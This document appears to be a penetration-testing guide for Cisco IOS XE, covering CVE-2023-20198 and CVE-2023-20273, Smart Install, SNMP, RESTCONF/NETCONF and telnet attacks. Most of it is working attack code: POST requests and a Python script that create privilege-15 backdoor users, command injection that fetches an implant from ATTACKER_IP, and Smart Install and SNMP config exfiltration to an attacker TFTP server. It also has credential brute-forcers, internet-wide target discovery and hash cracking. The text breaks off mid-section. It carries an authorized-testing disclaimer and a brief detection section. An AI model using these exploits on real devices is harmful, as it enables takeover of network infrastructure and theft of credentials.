Cisco IOS XE Security Testing: CVE-2023-20198 WebUI Privilege Escalation, Command Injection, SNMP Credential Exposure

Cisco IOS XE is the operating system powering Cisco's enterprise switching and routing portfolio — Catalyst switches, ASR routers, CSR 1000v, and Cisco SD-WAN edge devices. CVE-2023-20198 (CVSS 10.0) is an unauthenticated privilege escalation in the IOS XE HTTP/HTTPS WebUI that allows a remote, unauthenticated attacker to create a new local user account with privilege level 15 (full administrative access). Chained with CVE-2023-20273 (CVSS 7.2), a WebUI command injection, threat actors deployed a persistent Lua implant on tens of thousands of internet-exposed devices in October 2023 — the largest mass exploitation of a Cisco vulnerability on record. This guide covers the complete authorized IOS XE penetration testing methodology.

Authorized testing only: All techniques described here are for use on devices you own or have explicit written authorization to test. Cisco IOS XE devices are frequently deployed as core network infrastructure — unauthorized access or misconfigured tests can cause widespread network outages. Always confirm scope and obtain signed authorization before engaging.

Table of Contents

  1. Cisco IOS XE Architecture and Attack Surface
  2. Discovery and Fingerprinting
  3. CVE-2023-20198: Unauthenticated Privilege Escalation (CVSS 10.0)
  4. CVE-2023-20273: WebUI Command Injection and Implant Deployment
  5. Smart Install Protocol Exploitation (TCP 4786)
  6. SNMP Community String Attacks and Credential Extraction
  7. RESTCONF/NETCONF API Exploitation
  8. Telnet Default Credential Testing
  9. Configuration File Extraction and Hash Cracking
  10. TACACS+/RADIUS Integration Attacks
  11. Defense Recommendations and Detection

Cisco IOS XE Architecture and Attack Surface

IOS XE separates the control plane (running on a Linux kernel) from the data plane (ASIC-accelerated packet forwarding), which means the operating system exposes several modern management interfaces alongside legacy protocols. This diversity of services represents a wide attack surface across multiple ports and protocols.

ServiceDefault PortProtocolPrimary Attack Surface
WebUI80 / 443HTTP/HTTPSCVE-2023-20198, CVE-2023-20273, default credentials
RESTCONF443HTTPS + YANGCredential extraction, config dump, username enumeration
NETCONF830SSH/XMLYANG model enumeration, config extraction
SSH22SSHDefault credentials, key reuse, brute force
SNMP161 UDPSNMPv1/v2c/v3Community string guessing, config extraction via MIBs
Telnet23TCP clear-textDefault credentials, credential sniffing
Smart Install4786TCPUnauthenticated config theft, arbitrary config write
gRPC/gNMI57400gRPC/TLSWeak auth, config manipulation

Discovery and Fingerprinting

Cisco IOS XE leaves distinctive fingerprints across HTTP, SNMP, and SSH banners. Accurate version identification is essential — the CVE-2023-20198 vulnerability affects specific IOS XE versions, and many other CVEs are version-gated. Always fingerprint before attempting exploitation.

Nmap Service Discovery

# Comprehensive IOS XE port sweep
nmap -sV -sC -p 22,23,80,443,830,4786,161,57400 \
  --script=ssh-hostkey,http-title,snmp-info,ssl-cert \
  -oA ios-xe-scan TARGET_IP

# HTTP WebUI banner — IOS XE devices serve a recognizable title
nmap -p 80,443 --script http-title,http-server-header TARGET_IP

# UDP scan for SNMP and IKE
nmap -sU -p 161,500,4500 TARGET_IP

# Smart Install discovery — TCP 4786 open = likely vulnerable SMIC
nmap -p 4786 --open -sV TARGET_IP

# NETCONF on SSH port 830
nmap -p 830 -sV --script=ssh2-enum-algos TARGET_IP

HTTP/HTTPS WebUI Fingerprinting

# Cisco IOS XE WebUI serves a distinctive banner and login page
# HTTP banner fingerprint
curl -sk http://TARGET/ -I | grep -i "server\|cisco\|ios"
curl -sk https://TARGET/ -I | grep -i "server\|cisco\|ios"

# WebUI login page fingerprint — "Cisco IOS XE Software" appears in page title
curl -sk https://TARGET/ | grep -i "Cisco IOS XE\|webui\|Catalyst\|CSR"

# Version disclosure via logoutconfirm endpoint (pre-auth, no login required)
# This endpoint reveals the exact IOS XE version string
curl -sk "https://TARGET/webui/logoutconfirm.html?logon_hash=1" | grep -i "version\|ios\|xe"
# Example response: Cisco IOS XE Software, Version 17.9.4a

# Alternative: HTTP title via curl
curl -sk https://TARGET/ | grep -i ""
# Typical: <title>Cisco IOS XE Software

# Full HTTP header dump for fingerprinting
curl -sk -D - https://TARGET/ -o /dev/null

# Check for WebUI enabled on non-standard paths
for PATH in "/" "/webui/" "/index.html" "/login.html" "/api/v1/" "/restconf/"; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" https://TARGET$PATH)
  echo "$STATUS https://TARGET$PATH"
done

Shodan Queries for IOS XE Discovery

# Shodan dork — internet-exposed Cisco IOS XE WebUI
# "Cisco IOS XE Software" http.title
# port:443 "Cisco IOS XE" http.html

# Using shodan CLI for bulk discovery
shodan search 'title:"Cisco IOS XE Software"' --fields ip_str,port,org,version \
  --separator , > ios-xe-targets.csv

# Filter to specific IOS XE versions affected by CVE-2023-20198
# Vulnerable versions: 16.1.1 through 17.9.4 (before 17.9.4a patch)
shodan search 'title:"Cisco IOS XE Software" ios:"17.9"' --fields ip_str,port

# FOFA query equivalent
# title="Cisco IOS XE Software" && port="443"

# Banner-based fingerprint via masscan then curl
masscan -p443,80 10.0.0.0/8 --rate=1000 -oL ios-xe-candidates.txt
while read line; do
  IP=$(echo $line | awk '{print $4}')
  RESULT=$(curl -sk --max-time 3 "https://$IP/" | grep -l "IOS XE")
  [ -n "$RESULT" ] && echo "$IP confirmed IOS XE"
done < ios-xe-candidates.txt

SSH Banner and Version Enumeration

# SSH banner reveals IOS XE version before authentication
ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 admin@TARGET 2>&1 | head -5
# Example banner: Cisco IOS XE Software, Version 17.9.4a / Unauthorized access prohibited

# Using nmap SSH scripts
nmap -p 22 --script ssh-hostkey,ssh2-enum-algos,banner TARGET_IP

# netcat banner grab
nc -w 5 TARGET 22 2>/dev/null | head -3

# SNMP sysDescr — most reliable version fingerprint without credentials
snmpget -v2c -c public TARGET_IP 1.3.6.1.2.1.1.1.0
# Returns: Cisco IOS XE Software, Version 17.09.04a, RELEASE SOFTWARE (fc3)
#          Technical Support: http://www.cisco.com/techsupport
#          Copyright (c) 1986-2023 by Cisco Systems, Inc.
#          Compiled Tue 07-Nov-23 09:49 by mcpre

CVE-2023-20198: Unauthenticated Privilege Escalation (CVSS 10.0)

CVE-2023-20198 (Cisco advisory cisco-sa-20231016-ios-xe-web-ui-priv-esc, CVSS 10.0) is an unauthenticated privilege escalation in the Cisco IOS XE WebUI. A remote, unauthenticated attacker can send a crafted HTTP POST request to /webui/logoutconfirm.html to create a new local user account with privilege level 15 — the highest IOS XE privilege level, equivalent to full administrative access. The vulnerability was actively exploited in the wild beginning in September 2023, with Cisco's Talos threat intelligence team detecting mass exploitation by mid-October 2023. At peak, over 40,000 internet-exposed IOS XE devices had been compromised.

Affected Versions

CVE-2023-20198 PoC — Backdoor User Creation via POST

# The vulnerability allows unauthenticated creation of a privilege-15 local user
# via a POST request to the WebUI logoutconfirm endpoint.

# Step 1: Verify WebUI is reachable and fingerprint the version
curl -sk "https://TARGET/webui/logoutconfirm.html?logon_hash=1"
# IOS XE version will appear in the HTTP response body

# Step 2: Confirm the WebUI login endpoint accepts POST
curl -sk -I -X POST "https://TARGET/webui/logoutconfirm.html"
# HTTP 200 or 302 indicates the endpoint exists

# Step 3: Create a privilege-15 backdoor user (CVE-2023-20198 PoC)
# The parameter injection creates a local user in the IOS XE configuration
curl -sk -X POST "https://TARGET/webui/logoutconfirm.html?logon_hash=1" \
  --data "username=backdoor&password=B4ckd00r!23&privilege=15" \
  -H "Content-Type: application/x-www-form-urlencoded"

# Alternative POST format observed in threat actor campaigns
curl -sk -X POST "https://TARGET/webui/logoutconfirm.html" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "username=cisco_tac_admin&password=cisco123&privilege=15"

# Step 4: Verify the user was created by attempting WebUI login
curl -sk -c cookies.txt -X POST "https://TARGET/webui/j_security_check" \
  -d "j_username=backdoor&j_password=B4ckd00r!23" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -L
# Redirect to /webui/ dashboard = successful login with new account

# Step 5: Verify via RESTCONF with new credentials
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/username" \
  -u "backdoor:B4ckd00r!23" \
  -H "Accept: application/yang-data+json"
# Response lists all configured local users including the newly created backdoor account

# Step 6: SSH access with new privilege-15 credentials
ssh -o StrictHostKeyChecking=no backdoor@TARGET
# Expected: IOS XE privileged exec prompt (TARGET#)

Python Automation Script for CVE-2023-20198

#!/usr/bin/env python3
# CVE-2023-20198 - Cisco IOS XE WebUI Unauthenticated Privilege Escalation
# For authorized penetration testing only

import requests
import sys
import urllib3
urllib3.disable_warnings()

def check_cve_2023_20198(target, backdoor_user="pentest_admin", backdoor_pass="PentestP@ss1"):
    base_url = f"https://{target}"
    session = requests.Session()
    session.verify = False

    # Step 1: Fingerprint
    try:
        r = session.get(f"{base_url}/webui/logoutconfirm.html?logon_hash=1", timeout=10)
        if "IOS XE" in r.text or "Cisco" in r.text:
            print(f"[+] Confirmed Cisco IOS XE WebUI at {target}")
            # Extract version
            for line in r.text.splitlines():
                if "Version" in line:
                    print(f"[+] {line.strip()}")
                    break
        else:
            print(f"[-] Not identified as IOS XE WebUI")
            return False
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

    # Step 2: Attempt user creation
    payload = {
        "username": backdoor_user,
        "password": backdoor_pass,
        "privilege": "15"
    }
    try:
        r = session.post(
            f"{base_url}/webui/logoutconfirm.html?logon_hash=1",
            data=payload,
            timeout=10
        )
        print(f"[*] POST response status: {r.status_code}")
    except Exception as e:
        print(f"[!] POST error: {e}")
        return False

    # Step 3: Verify via RESTCONF
    try:
        r = session.get(
            f"{base_url}/restconf/data/Cisco-IOS-XE-native:native/username",
            auth=(backdoor_user, backdoor_pass),
            headers={"Accept": "application/yang-data+json"},
            timeout=10
        )
        if r.status_code == 200:
            print(f"[CRITICAL] CVE-2023-20198 CONFIRMED: User '{backdoor_user}' created with privilege 15")
            print(f"[+] RESTCONF authenticated as {backdoor_user}")
            return True
        else:
            print(f"[-] RESTCONF returned {r.status_code} — user creation may have failed")
            return False
    except Exception as e:
        print(f"[!] RESTCONF verification error: {e}")
        return False

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "TARGET_IP"
    check_cve_2023_20198(target)
Mass exploitation in October 2023: CVE-2023-20198 was exploited at unprecedented scale. Threat actors used automated tooling to scan the entire internet for exposed IOS XE WebUI instances and create backdoor users within hours of initial access. By October 19, 2023, Cisco confirmed over 40,000 compromised devices. Many compromised devices had the WebUI exposed directly to the internet — a configuration explicitly warned against in Cisco hardening guides but common in deployments where the device doubles as an internet-facing router. Operators discovered compromises by querying /webui/logoutconfirm.html?logon_hash=1 for version strings, then correlating against a list of patched versions.

CVE-2023-20273: WebUI Command Injection and Implant Deployment

CVE-2023-20273 (CVSS 7.2) is a command injection vulnerability in the Cisco IOS XE WebUI that was chained with CVE-2023-20198 by threat actors. After creating a privilege-15 user via CVE-2023-20198, attackers authenticated to the WebUI and exploited the command injection to execute arbitrary commands in the context of the underlying Linux OS (not the IOS XE CLI), enabling them to deploy a persistent Lua-based implant that survived device reboots.

CVE-2023-20273 — Authenticated WebUI Command Injection

# Prerequisite: valid privilege-15 WebUI session (e.g., obtained via CVE-2023-20198)
# Step 1: Authenticate to WebUI and capture session cookie
curl -sk -c ios_xe_session.txt -X POST "https://TARGET/webui/j_security_check" \
  -d "j_username=backdoor&j_password=B4ckd00r!23" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -L -o /dev/null

# Step 2: Verify authenticated session
curl -sk -b ios_xe_session.txt "https://TARGET/webui/" | grep -i "logout\|dashboard\|home"

# Step 3: Exploit CVE-2023-20273 — command injection in WebUI diagnostic/guestshell endpoint
# The injection point is in the "dev" parameter of the WebUI interface configuration
# Bash metacharacters are not sanitized before passing to the underlying Linux shell

# Inject command execution via WebUI VLAN/interface configuration endpoint
curl -sk -b ios_xe_session.txt -X POST "https://TARGET/webui/res/index.html" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "cmd=show+version%3B+id%3B+whoami"

# GuestShell injection path (observed in threat actor TTPs)
# GuestShell is a Linux container running within IOS XE — provides full Linux env
curl -sk -b ios_xe_session.txt "https://TARGET/webui/guestshell?cmd=id"

# The threat actor implant was installed via the following observed command sequence:
# (reconstructed from Cisco Talos analysis of CVE-2023-20273 exploitation)
curl -sk -b ios_xe_session.txt -X POST "https://TARGET/webui/res/index.html" \
  --data "cmd=copy+http://ATTACKER_IP/implant.lua+flash:/implant.lua"

# Verify implant presence on device flash
curl -sk -b ios_xe_session.txt "https://TARGET/webui/res/index.html" \
  --data "cmd=dir+flash:"

Implant Detection and Analysis

# The Lua implant deployed in CVE-2023-20273 exploitation listens on a specific port
# and responds to HTTP GET requests with a special header/cookie combination

# Detection query — check for the implant's HTTP backdoor
# The implant filters based on the Cookie header value
curl -sk "https://TARGET/webui/%25" \
  -H "Cookie: Authorization=IMPLANT_CHECK_VALUE"

# Observed implant detection methodology (Cisco Talos)
# The implant exposes a web shell accessible only with correct Authorization cookie
# Normal response (no implant): HTTP 404
# Implant present: HTTP 200 with command execution output

# Check for implant presence via IOS XE show commands (requires SSH access)
ssh admin@TARGET "show platform software file flash: | include lua"
ssh admin@TARGET "more flash:/implant.lua"

# If SSH available, check for unauthorized users created by CVE-2023-20198
ssh admin@TARGET "show running-config | include ^username"
# Look for unexpected usernames with privilege 15

# Check for unauthorized EEM (Embedded Event Manager) scripts — used for persistence
ssh admin@TARGET "show running-config | section event manager"

# Check active HTTP sessions — look for unusual source IPs accessing WebUI
ssh admin@TARGET "show ip http server session all"

# Enumerate all local users and their privilege levels
ssh admin@TARGET "show running-config | include username .* privilege"

Smart Install Protocol Exploitation (TCP 4786)

Cisco Smart Install is a zero-touch provisioning protocol that runs on TCP port 4786. It was designed for automated switch configuration deployment in campus environments. The critical flaw: Smart Install Client (SMIC) devices accept unauthenticated configuration commands from any IP address that speaks the Smart Install Director protocol. This allows an unauthenticated attacker on the network to read the full device configuration, write a new configuration (including adding users or changing passwords), or trigger a reload with a malicious config.

Smart Install Discovery and Exploitation

# Discover Smart Install clients (SMIC) — TCP 4786 open
nmap -p 4786 --open -sV --script banner TARGET_SUBNET/24

# Mass discovery
masscan -p4786 10.0.0.0/8 --rate=500

# cisco-smart-install-exploit.py (publicly available PoC)
# SMIC devices respond to Smart Install Director protocol without authentication
python3 cisco-smart-install-exploit.py -t TARGET_IP

# Using the tool to dump configuration (unauthenticated)
python3 cisco-smart-install-exploit.py -t TARGET_IP --action dump-config \
  --tftp-server ATTACKER_IP

# Metasploit module for Smart Install
msfconsole -q
msf6 > use auxiliary/scanner/cisco/cisco_smart_install
msf6 auxiliary(cisco_smart_install) > set RHOSTS TARGET_SUBNET/24
msf6 auxiliary(cisco_smart_install) > run
# Returns: list of vulnerable SMIC devices with version info

# Manual Smart Install config exfiltration via TFTP
# Send a crafted Smart Install packet instructing the device to TFTP-copy its config
python3 << 'EOF'
import socket
import struct

# Smart Install Director packet — instructs SMIC to copy running-config to TFTP server
# This is a simplified representation of the exploit primitive
ATTACKER_TFTP_IP = "192.168.1.100"
TARGET_IP = "TARGET_IP_HERE"

# Smart Install exploit payload format
payload = b"\x00\x00\x00\x01"  # Magic bytes
payload += b"\x00\x00\x00\x03"  # UPGRADE_CONF opcode
payload += ATTACKER_TFTP_IP.encode() + b"\x00"
payload += b"startup-config\x00"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((TARGET_IP, 4786))
sock.send(struct.pack(">I", len(payload)) + payload)
response = sock.recv(4096)
print(f"Response: {response.hex()}")
sock.close()
EOF

# Vstack client enumeration — identify vstack-configured switches
# On a compromised Cisco device, enumerate vstack peers
ssh admin@UPSTREAM-SWITCH "show vstack neighbors"
ssh admin@UPSTREAM-SWITCH "show vstack director"
ssh admin@UPSTREAM-SWITCH "show vstack clients"
APT mass exploitation: Smart Install exploitation has been attributed to multiple nation-state threat actors. In 2018, Russian APT group Dragonfly (Energetic Bear) used Smart Install exploitation to compromise hundreds of thousands of Cisco switches across critical infrastructure including energy, water, and manufacturing sectors. Iranian APT groups exploited Smart Install to exfiltrate configurations from government networks. Cisco issued an urgent advisory (cisco-sa-20170214-smi) recommending immediate disabling of Smart Install on all devices not explicitly requiring it. Despite years of advisories, internet-exposed Smart Install clients remain common.

Configuration Write via Smart Install (Persistence)

# After obtaining the running-config via Smart Install TFTP exfiltration,
# an attacker can modify it and push it back to the device

# Step 1: Review extracted config for sensitive data
grep -i "username\|password\|secret\|community\|tacacs\|radius\|snmp" running-config.txt

# Step 2: Modify config to add a backdoor user
cat >> modified-config.txt << 'ENDCONFIG'
username backdoor privilege 15 secret 5 $1$mERr$abc123PasswordHashHere
ip http server
ip http authentication local
ENDCONFIG

# Step 3: Push modified config back via Smart Install
python3 cisco-smart-install-exploit.py -t TARGET_IP --action push-config \
  --config modified-config.txt --tftp-server ATTACKER_IP

# Step 4: Verify access with new credentials
ssh backdoor@TARGET_IP
# Or via RESTCONF:
curl -sk "https://TARGET_IP/restconf/data/Cisco-IOS-XE-native:native" \
  -u "backdoor:BackdoorPass" \
  -H "Accept: application/yang-data+json" | python3 -m json.tool

SNMP Community String Attacks and Credential Extraction

SNMP (Simple Network Management Protocol) is ubiquitous on Cisco IOS XE devices. SNMPv1 and SNMPv2c use plaintext "community strings" as the sole authentication mechanism. Default community strings (public for read-only, private for read-write) are left unchanged in a significant proportion of production deployments. With read-only SNMP access, an attacker can dump the complete device configuration via the CISCO-CONFIG-COPY-MIB. With read-write access, arbitrary configuration changes are possible.

SNMP Community String Enumeration

# Enumerate community strings with onesixtyone
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt TARGET_IP
onesixtyone -c /usr/share/wordlists/metasploit/snmp_default_pass.txt TARGET_IP

# Common Cisco community strings to test
for COMMUNITY in "public" "private" "cisco" "Cisco" "router" "snmp" \
                 "read" "write" "monitor" "admin" "manager" "ILMI"; do
  RESULT=$(snmpget -v2c -c $COMMUNITY -t 2 -r 1 TARGET_IP 1.3.6.1.2.1.1.1.0 2>/dev/null)
  [ -n "$RESULT" ] && echo "[+] Valid community: '$COMMUNITY' — $RESULT"
done

# Metasploit SNMP community brute force
msfconsole -q
msf6 > use auxiliary/scanner/snmp/snmp_login
msf6 auxiliary(snmp_login) > set RHOSTS TARGET_IP
msf6 auxiliary(snmp_login) > set THREADS 10
msf6 auxiliary(snmp_login) > run

SNMP MIB Enumeration and Configuration Extraction

# Full SNMP walk — enumerate all OIDs
snmpwalk -v2c -c public TARGET_IP 1.3.6.1 -O e 2>/dev/null | tee snmp-full-walk.txt

# Key Cisco OIDs for security assessment
# System description (version, model)
snmpget -v2c -c public TARGET_IP 1.3.6.1.2.1.1.1.0

# Interface table (network topology)
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.2.2.1
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.4.20   # IP address table

# ARP table (discover hosts behind the router)
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.4.22.1

# Routing table
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.4.24

# Cisco enterprise OIDs — running config via SNMP (CISCO-CONFIG-COPY-MIB)
# This MIB allows copying running-config to a TFTP server
snmpset -v2c -c private TARGET_IP \
  1.3.6.1.4.1.9.9.96.1.1.1.1.2.1 i 1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.3.1 i 4 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.4.1 i 1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.5.1 a ATTACKER_TFTP_IP \
  1.3.6.1.4.1.9.9.96.1.1.1.1.6.1 s "running-config.txt" \
  1.3.6.1.4.1.9.9.96.1.1.1.1.14.1 i 1
# The device will TFTP-copy its running-config to ATTACKER_TFTP_IP

# Read SNMP-accessible config data directly (Cisco SNMP Config MIB)
# Gets the IOS running config line by line via SNMP
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.4.1.9.2.1.54  # config line MIB

SNMPv3 Enumeration

# SNMPv3 requires username + authentication/privacy credentials
# Default Cisco SNMPv3 users to test
for USER in "admin" "cisco" "snmpv3user" "default" "initial" "v3user"; do
  # Test with MD5 auth, no privacy
  snmpwalk -v3 -u $USER -l authNoPriv -a MD5 -A "cisco123" TARGET_IP \
    1.3.6.1.2.1.1.1.0 2>/dev/null
  # Test with SHA auth + AES priv
  snmpwalk -v3 -u $USER -l authPriv -a SHA -A "cisco123" -x AES -X "cisco123" \
    TARGET_IP 1.3.6.1.2.1.1.1.0 2>/dev/null
done

# Metasploit SNMPv3 enumeration
msf6 > use auxiliary/scanner/snmp/snmp_enumusers
msf6 auxiliary(snmp_enumusers) > set RHOSTS TARGET_IP
msf6 auxiliary(snmp_enumusers) > run
# Attempts to enumerate valid SNMPv3 user names via error differentiation

# Enumerate SNMPv3 engineID (leaks device identifier even without valid credentials)
nmap -sU -p 161 --script snmp-info TARGET_IP

RESTCONF/NETCONF API Exploitation

IOS XE 16.3+ supports RESTCONF (RFC 8040) and NETCONF (RFC 6241) for programmatic configuration management using YANG data models. These interfaces provide structured access to the full device configuration — including plaintext or weakly-hashed credentials stored in the configuration database. RESTCONF uses HTTP Basic Authentication (username/password over HTTPS); NETCONF uses SSH transport on TCP 830.

RESTCONF API Enumeration and Credential Extraction

# Verify RESTCONF is enabled
curl -sk "https://TARGET/restconf/" -u "admin:cisco" \
  -H "Accept: application/yang-data+json" | python3 -m json.tool
# Expected: RESTCONF root resource listing

# Enumerate available YANG modules (reveals device capabilities)
curl -sk "https://TARGET/restconf/data/ietf-yang-library:modules-state" \
  -u "admin:cisco" \
  -H "Accept: application/yang-data+json" | python3 -m json.tool | grep '"name"'

# Extract the native IOS XE configuration (full running config equivalent)
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native" \
  -u "admin:cisco" \
  -H "Accept: application/yang-data+json" | python3 -m json.tool

# Extract all configured local usernames (CRITICAL — reveals all local accounts)
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/username" \
  -u "admin:cisco" \
  -H "Accept: application/yang-data+json" | python3 -m json.tool
# Response includes: username, privilege level, password hash type and value

# Example output showing password hashes:
# {
#   "Cisco-IOS-XE-native:username": [
#     {"name": "admin", "privilege": 15, "password": {"encryption": "5", "password": "$1$abc$xyz..."}},
#     {"name": "cisco", "privilege": 1, "secret": {"encryption": "9", "secret": "$9$..."}}
#   ]
# }

# Extract SNMP community strings
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/snmp-server" \
  -u "admin:cisco" \
  -H "Accept: application/yang-data+json" | python3 -m json.tool

# Extract TACACS+ server configuration including shared keys
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/tacacs" \
  -u "admin:cisco" \
  -H "Accept: application/yang-data+json" | python3 -m json.tool

# Extract RADIUS server configuration including shared secrets
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/radius" \
  -u "admin:cisco" \
  -H "Accept: application/yang-data+json" | python3 -m json.tool

# Extract VPN/IPsec preshared keys
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/crypto/isakmp" \
  -u "admin:cisco" \
  -H "Accept: application/yang-data+json" | python3 -m json.tool

# Bearer token extraction — RESTCONF supports token-based auth on some versions
# Obtain a token via the auth endpoint
curl -sk -X POST "https://TARGET/restconf/token" \
  -u "admin:cisco" \
  -H "Content-Type: application/yang-data+json" \
  -d '{"ietf-restconf:input":{"username":"admin","password":"cisco"}}' | python3 -m json.tool

NETCONF Session Enumeration

# NETCONF over SSH on port 830
# Test connectivity and capability exchange
ssh -p 830 -o StrictHostKeyChecking=no admin@TARGET \
  -s netconf 2>/dev/null << 'EOF'


  
    urn:ietf:params:netconf:base:1.0
  

]]>]]>
EOF
# Response lists all supported NETCONF capabilities and YANG models

# Python netconf-client to enumerate configuration
pip install ncclient 2>/dev/null
python3 << 'EOF'
from ncclient import manager
import xmltodict, json

try:
    m = manager.connect(
        host="TARGET",
        port=830,
        username="admin",
        password="cisco",
        hostkey_verify=False,
        device_params={"name": "iosxe"}
    )
    # Get running configuration
    config = m.get_config(source="running")
    data = xmltodict.parse(config.xml)
    # Extract usernames and secrets
    native = data.get("rpc-reply", {}).get("data", {}).get("native", {})
    users = native.get("username", [])
    if isinstance(users, dict):
        users = [users]
    for user in users:
        print(f"User: {user.get('@name', user.get('name'))}, Priv: {user.get('privilege')}")
except Exception as e:
    print(f"Error: {e}")
EOF
RESTCONF credential extraction note: The /restconf/data/Cisco-IOS-XE-native:native/username endpoint returns password hashes with their encryption type identifier. Type 5 ($1$) is MD5-crypt — crackable with hashcat mode 500. Type 7 is Cisco's proprietary reversible XOR encoding — trivially decoded with any "Cisco type 7 decoder." Type 8 ($8$) is PBKDF2-SHA256 and type 9 ($9$) is scrypt — both are computationally expensive to crack. Always note the encryption type during extraction to prioritize cracking effort.

Telnet Default Credential Testing

Telnet (TCP 23) transmits all data including credentials in clear text and should have been eliminated from production environments years ago — but brownfield Cisco deployments frequently still have it enabled. IOS XE factory defaults include cisco/cisco as the console/vty credential pair, and many organizations fail to rotate these during initial provisioning. Telnet access also enables passive credential harvesting via network sniffing on any shared segment.

Telnet Credential Testing

# Check if telnet is enabled
nmap -p 23 -sV TARGET_IP
nc -w 3 TARGET_IP 23  # Expect "User Access Verification" banner

# Default Cisco credentials to test
# Factory defaults: cisco/cisco or no password
# Common: admin/admin, admin/cisco, admin/password, router/router

# Automated telnet login test
python3 << 'EOF'
import telnetlib
import time

TARGET = "TARGET_IP"
CREDENTIALS = [
    ("cisco", "cisco"),
    ("admin", "admin"),
    ("admin", "cisco"),
    ("admin", "password"),
    ("admin", ""),
    ("", ""),
    ("cisco", ""),
]

for username, password in CREDENTIALS:
    try:
        tn = telnetlib.Telnet(TARGET, 23, timeout=5)
        tn.read_until(b"Username:", timeout=3)
        tn.write(username.encode() + b"\n")
        tn.read_until(b"Password:", timeout=3)
        tn.write(password.encode() + b"\n")
        output = tn.read_until(b">", timeout=3).decode(errors="replace")
        if ">" in output or "#" in output:
            print(f"[+] SUCCESS: {username}/{password}")
            # Test enable password
            tn.write(b"enable\n")
            tn.read_until(b"Password:", timeout=3)
            tn.write(password.encode() + b"\n")
            priv_out = tn.read_until(b"#", timeout=3).decode(errors="replace")
            if "#" in priv_out:
                print(f"[+] Enable access gained with: {password}")
        tn.close()
    except Exception as e:
        pass  # Connection refused or timeout — skip

EOF

# Privilege level escalation testing
# IOS XE has 16 privilege levels (0-15)
# Level 1 = User EXEC (limited show commands)
# Level 15 = Privileged EXEC (full access, equivalent to root)
# Test enable password after gaining level-1 access
echo -e "enable\ncisco\nshow running-config\nexit" | nc -w 5 TARGET_IP 23

# Passive credential capture on shared network segment
# If on the same L2 segment, sniff telnet credentials
tcpdump -i eth0 -w telnet_capture.pcap 'tcp port 23 and host TARGET_IP'
# Then extract credentials
tcpflow -r telnet_capture.pcap
grep -a "Password\|Username\|enable" captured_sessions.txt

Enable Password and Privilege Level Bypass

# After gaining user-level access (privilege 1), test enable password
# Common enable passwords matching the vty password

# IOS XE show version — available at privilege level 1
show version | grep "IOS XE\|Version\|uptime\|processor"

# Check current privilege level
show privilege
# "Current privilege level is 1" = user exec; "15" = full admin

# Privilege level 15 command injection via misconfigured parser view
# If AAA authorization is not configured, 'enable' may grant level 15 without password
enable 15

# Check for IOS XE parser views (alternative to privilege levels)
show parser view all  # requires privilege 15

# If TACACS+ authorization is broken/unreachable, IOS XE may fall back to local auth
# Test by disconnecting the TACACS+ server (if network position allows)
# Then re-attempt with any local credential

Configuration File Extraction and Hash Cracking

The IOS XE running configuration is the most sensitive artifact on the device — it contains all local user credentials (as hashed values), SNMP community strings, TACACS+/RADIUS shared secrets, VPN pre-shared keys, and BGP authentication passwords. Multiple access paths lead to the running configuration, and different password hash types have vastly different cracking difficulty.

Running-Config Extraction Methods

# Method 1: Direct CLI access (SSH/Telnet with privilege 15)
ssh admin@TARGET "show running-config" > running-config.txt

# Method 2: RESTCONF full config dump
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native" \
  -u "admin:cisco" \
  -H "Accept: application/yang-data+json" > ios-xe-config.json

# Method 3: SNMP config copy to TFTP (requires read-write community)
# Start a TFTP listener on attacker machine
python3 -m tftpy.TftpServer /tmp/tftp-root &

# Trigger config copy via SNMP
snmpset -v2c -c private TARGET_IP \
  1.3.6.1.4.1.9.9.96.1.1.1.1.2.1 i 1  \  # ccCopyProtocol = tftp(1)
  1.3.6.1.4.1.9.9.96.1.1.1.1.3.1 i 4  \  # ccCopySourceFileType = runningConfig(4)
  1.3.6.1.4.1.9.9.96.1.1.1.1.4.1 i 1  \  # ccCopyDestFileType = networkFile(1)
  1.3.6.1.4.1.9.9.96.1.1.1.1.5.1 a ATTACKER_IP \  # ccCopyServerAddress
  1.3.6.1.4.1.9.9.96.1.1.1.1.6.1 s "stolen-config.txt" \  # ccCopyFileName
  1.3.6.1.4.1.9.9.96.1.1.1.1.14.1 i 1  # ccCopyEntryRowStatus = active(1)

# Method 4: Smart Install protocol (unauthenticated — see section 5)
# Method 5: NETCONF get-config RPC
# (covered in RESTCONF/NETCONF section)

Password Hash Extraction and Cracking

# Extract all password-related lines from running-config
grep -E "username|enable|password|secret|community|key" running-config.txt

# IOS XE password types:
# Type 0  = plaintext (no encryption) — directly readable
# Type 7  = Cisco proprietary reversible XOR — trivially decoded
# Type 5  = MD5-crypt ($1$) — crack with hashcat mode 500
# Type 8  = PBKDF2-SHA256 ($8$) — crack with hashcat mode 9200
# Type 9  = scrypt ($9$) — crack with hashcat mode 9300 (slow)

# Example config lines:
# username admin privilege 15 secret 5 $1$mERr$abc123hashvalue
# enable secret 5 $1$mERr$def456hashvalue
# username cisco privilege 1 password 7 14141B180F0B
# snmp-server community public RO

# Type 7 decode — multiple tools available
# Cisco type 7 is XOR with a fixed key — reversible without brute force
python3 << 'EOF'
